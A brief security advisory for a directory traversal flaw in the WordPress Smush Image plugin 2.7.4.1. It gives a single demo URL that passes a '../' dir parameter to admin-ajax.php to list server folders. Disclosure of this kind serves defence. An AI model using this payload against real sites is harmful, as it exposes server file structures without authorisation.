WordPress Smush Image 2.7.4.1 Directory Traversal

2017.10.05

Credit: Ricardo Sanchez

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-22

Class File transversal
Remote Yes
Credit Ricardo Sanchez
Smush Image Wordpress WP plugin is prone to file transversal vulnerability
because it fails to sufficiently folders privacy.
To exploit this issue following steps:
Demo url:
http://localhost/wordpress/wp-admin/admin-ajax.php?dir=../../../../../../&multiSelect=true&action=smush_get_directory_list&list_nonce=xxxxxxx
Confirm:
https://wordpress.org/support/topic/file-transversal-bug/#post-9554401

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

WordPress Smush Image 2.7.4.1 Directory Traversal

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.